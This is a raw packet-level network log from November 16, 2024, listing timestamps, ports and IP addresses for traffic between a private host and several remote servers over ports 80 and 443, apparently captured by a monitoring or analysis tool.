Nov 16, 2024 19:22:28.339076042 CET	49803	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.339086056 CET	443	49803	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.339550018 CET	443	49803	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.339916945 CET	49803	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.339993954 CET	443	49803	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.353720903 CET	49802	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.353720903 CET	49800	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.353733063 CET	443	49802	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.365535975 CET	443	49804	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.366008997 CET	49804	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.366044044 CET	443	49804	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.366517067 CET	443	49804	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.366799116 CET	49804	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.366893053 CET	443	49804	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.383969069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384005070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384036064 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384038925 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384059906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384082079 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384123087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384155035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384188890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384222031 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384228945 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384258032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384258032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384351969 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384381056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384406090 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384413958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384419918 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384448051 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384464025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384491920 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384525061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384565115 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384574890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384607077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384640932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384644032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384673119 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384706974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384725094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384824038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384862900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.384875059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384907961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.384985924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385018110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385035038 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385051966 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385088921 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385114908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385164022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385198116 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385201931 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385232925 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385255098 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385355949 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385366917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385399103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385432005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385445118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385464907 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385495901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385498047 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385516882 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385541916 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385613918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385646105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385679007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385710955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385744095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385744095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385744095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385812044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385921001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385952950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.385958910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.385987043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386014938 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386049032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.386173964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386207104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386239052 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.386241913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386275053 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386291027 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.386312962 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.386538982 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386574030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386606932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386627913 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.386640072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386673927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386677980 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.386706114 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386742115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.386780977 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389054060 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389084101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389111042 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389142036 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389307022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389358044 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389362097 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389391899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389425039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389442921 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389458895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389467001 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389491081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389512062 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389523983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389559984 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389573097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389606953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389638901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389653921 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389671087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389693975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389703035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389720917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389739037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389772892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389803886 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389803886 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389806032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389839888 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389852047 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389920950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.389924049 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389956951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.389991999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.390002012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.390070915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.390115976 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.390120983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.390153885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.390187979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.390197039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.390222073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.390250921 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.390250921 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.390322924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.390398026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.390419006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.390431881 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.390465975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.390494108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.390518904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.390533924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.410368919 CET	49801	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.410378933 CET	443	49801	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.410422087 CET	49799	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.410475016 CET	49803	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.410557985 CET	49804	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.465065002 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:28.465153933 CET	443	49814	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:28.465329885 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:28.465506077 CET	49814	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:28.465540886 CET	443	49814	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:28.488850117 CET	49802	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.549968958 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.550497055 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.550518990 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.550991058 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.554507971 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.554593086 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.554660082 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.558774948 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.558832884 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.558852911 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.558871031 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.558904886 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.558909893 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.558931112 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.558938026 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.558959961 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.558963060 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.558980942 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.559003115 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.560686111 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.560705900 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.560771942 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.560775995 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.560811043 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.560813904 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.560837984 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.560846090 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.560873985 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.595407963 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.613316059 CET	49801	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.642817020 CET	443	49809	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.643337011 CET	49809	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.643347979 CET	443	49809	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.643801928 CET	49809	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.643807888 CET	443	49809	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.653975010 CET	443	49812	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.654354095 CET	49812	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.654375076 CET	443	49812	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.654740095 CET	49812	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.654746056 CET	443	49812	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.664582968 CET	443	49810	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.664897919 CET	49810	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.664918900 CET	443	49810	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.665227890 CET	49810	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.665235043 CET	443	49810	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.667184114 CET	443	49811	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.667582035 CET	49811	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.667601109 CET	443	49811	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.668015003 CET	49811	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.668020010 CET	443	49811	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.673094988 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.673428059 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.673434973 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.673710108 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.673713923 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.673835993 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.673885107 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.673913002 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.673943043 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.673971891 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.674094915 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.675146103 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.675189972 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.675221920 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.675240993 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.675265074 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.675656080 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.675663948 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.675683022 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.675715923 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.675741911 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.675754070 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.675825119 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.675887108 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.676110983 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.676126003 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.693082094 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.693115950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.693149090 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.693162918 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.693183899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.693185091 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.693195105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.693217993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.693252087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.693262100 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.693294048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.693295002 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.693854094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695071936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695110083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695162058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695163965 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695188046 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695202112 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695211887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695246935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695278883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695296049 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695348024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695383072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695395947 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695419073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695424080 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695467949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695518970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695553064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695564985 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695586920 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695588112 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695620060 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695668936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695703030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695718050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695735931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695754051 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695785999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695799112 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695818901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695851088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695858955 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.695904016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695938110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695966959 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.695991039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.696001053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.696001053 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696050882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696083069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696115017 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696127892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.696155071 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.696163893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696213007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696248055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696281910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696294069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.696320057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.696330070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696382046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696429968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696475983 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.696487904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696520090 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696553946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696587086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696597099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.696619987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696667910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696701050 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696712017 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.696732998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696765900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696769953 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.696815014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696863890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696906090 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.696927071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.696975946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697017908 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697024107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697058916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697101116 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697108030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697141886 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697175026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697181940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697207928 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697237015 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697251081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697285891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697335005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697366953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697381020 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697401047 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697432995 CET	80	49770	185.215.113.206	192.168.2.5
